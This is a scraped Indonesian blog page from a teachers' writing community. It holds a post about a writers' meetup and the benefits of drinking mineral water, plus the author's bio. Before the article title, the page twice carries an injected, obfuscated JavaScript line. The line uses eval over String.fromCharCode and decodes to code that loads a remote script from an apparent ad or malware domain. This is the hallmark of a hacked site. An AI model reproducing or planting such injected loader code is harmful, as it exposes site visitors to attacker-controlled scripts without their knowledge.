var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); 4. Air Mineral Penyempurna – KelasKayu var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 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4. Air Mineral Penyempurna

Masih cerita kumpul-kumpul penulis kelaskayu.com. Ujug-ujug Pak Anto membawa sekardus air mineral botol datang dari arah parkiran menuju lesehan rapat kelaskayu.com. Benar juga pikir saya, walau cuaca tidak sepanas seperti biasanya bisa jadi karena matahari juga tidak terlalu menyengat namun tubuh tetap membutuhkan air untuk menjaga kesegaran diri.

Nah, membicarakan air mineral memang pasnya di kegiatan outdoor seperti yang sedang dilakukan para penulis kelaskayu.com. Duduk-duduk di bawah pohon rindang sekaligus men-supply oksigen untuk tubuh ini. Semilir angin membawa uap air dari danau UI memberi kesejukan luar biasa. Kalah AC ruangan di kantor presiden sekalipun. Maka air mineral sebagai penyempurna itu semua.

Kok bisa ya.

Satu hal yang perlu diketahui teman-teman adalah keuntungan minum air mineral buat tubuh kita. Rasa penasaran saya akhirnya mulai mencari informasi kembali. Tentunya tentang keuntungan minum air mineral dari http://panduanhidupsehat.com/berita-sehat/10-keuntungan-minum-air-mineral/. Hasil riset ilmiah menunjukkan manfaat air minieral terkait dengan kandungan mineralnya. Pertama, mengkonsumsi air mineral adalah cara murah dan mudah untuk menurunkan berat badan. Kedua, mengkonsumsi air mineral akan meningkatkan kesehatan tulang. Ketiga, mengkonsumsi air mineral akan menjaga tekanan darah. Keempat, mengkonsumsi air mineral mampu menurunkan kadar kolesterol jahat atau LDL. Kolesterol jahat merupakan salah satu penyebab penyakit jantung. Kelima, mengkonsumsi air mineral mengoptimalkan kandungan kalium dan magnesium yang akan memelihara kesehatan jantung. Keenam, mengkonsumsi air mineral akan membantu proses pencernaan. Ketujuh, mengkonsumsi air mineral adalah menjaga keseimbangan elektrolit agar kadar air dalam tubuh tetap seimbang.Kedelapan, mengkonsumsi air mineral penting untuk mengurangi resiko batu ginjal.Kesembilan, mengkonsumsi air mineral berguna untuk menjaga kesehatan dan keindahan kulit. Kesepuluh, mengkonsumsi air mineral penting untuk menjaga kesehatan tubuh. Jadi sudah dapat dipastikan mengkonsumsi air mineral memberi banyak kebaikan pada diri.

Menurut WHO Guidelines for drinking-water quality, tubuh ini membutuhkan air agar tetap sehat. Tanpa air, tubuh tidak dapat menjalankan fungsinya dengan baik. Tanpa air, manusia hanya dapat bertahan hidup beberapa hari saja. Pasalnya, tubuh manusia terdiri dari 55-75 % air dari keseluruhan berat badannya. Badan kesehatan dunia, World Health Organization (WHO) memberikan syarat bahwa air minum yang baik untuk kesehatan adalah air minum yang bebas mikroorganisme (kuman), bebas bahan kimia berbahaya, dan bebas bahan radiologis berbahaya. Oleh karena itu, air minum dalam botol kemasan yang aman untuk diminum juga harus memenuhi kriteria tersebut.

Kembali kepada kegiatan pertemuan para penulis kelaskayu.com. Harapannya membangun kembali semangat menuliskan pengalaman mengajar yang bernuansa pendidikan secara umum. Menggunakan photo dari gallery kelaskayu.com, lansekap bukan potret, mengandung nilai-nilai leadership, life long learning, green education, dan atau character building.

Mudah-mudahan pertemuan ini seperti baru saja meneguk air mineral yang menyempurnakan antara semangat dan hasil tulisan yang di-publish.

Kang Yudha

 

Sumber: https://www.google.co.id/

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Kang Yudha

Kang Yudha

Menjadi guru Sekolah Alam Indonesia sejak tahun 1999. Telah berbagi materi-materi pendidikan di berbagai tempat: Medan, Palembang, Bengkulu, Pekanbaru, Sukabumi, Jakarta - Bogor - Depok - Tangerang - Bekasi, Lombok, Wamena - Papua, (Keningau - Beaufort - Sipitang - Kundasan - Sandakan) Sabah, dan Melbourne. Sejak tahun 2013, mengelola kelas parenting Sekolah Alam Indonesia. Menjadi penggagas komunitas guru menulis (2009). Menjadi penulis duabelas buku yaitu Sekolah yang Membebaskan - Antologi Cerita Komunitas (Kawan Pustaka-2003), Berjuta Bintang di Langit Sekolahku - Antologi Artikel Kelas (Audi Grafika-2004), Misteri Bulan, Belajar Sambil Bertualang (Wahyu Media-2006), Menyusuri Sungai, Belajar Sambil Bertuang (Wahyu Media-2006), Smart Games for Kids - (Wahyu Media-2007), Creative Games for Kids (Wahyu Media-2008), Harmony in Tenacity (SAI Publishing-2009), Character Building (ProU-2013), Belajar Menjadi Pemimpin (SAI Publishing-2015), Alam Terkembang Membawa Kisah (Media Guru-2016), Jejak-Jejak Rindu - Antologi Cerpen (Mandiri Jaya-2018), Menggenggam Semangat Siswa Hebat (Kata Depan-2019). Saat ini juga juga aktif di lembaga Ikatan Guru Indonesia Wilayah Depok. Menjadi Editor Media Guru. Aktivitas lainnya, terlibat lembaga swadaya masyarakat MPPO (Masyarakat Peduli Petani Organik)

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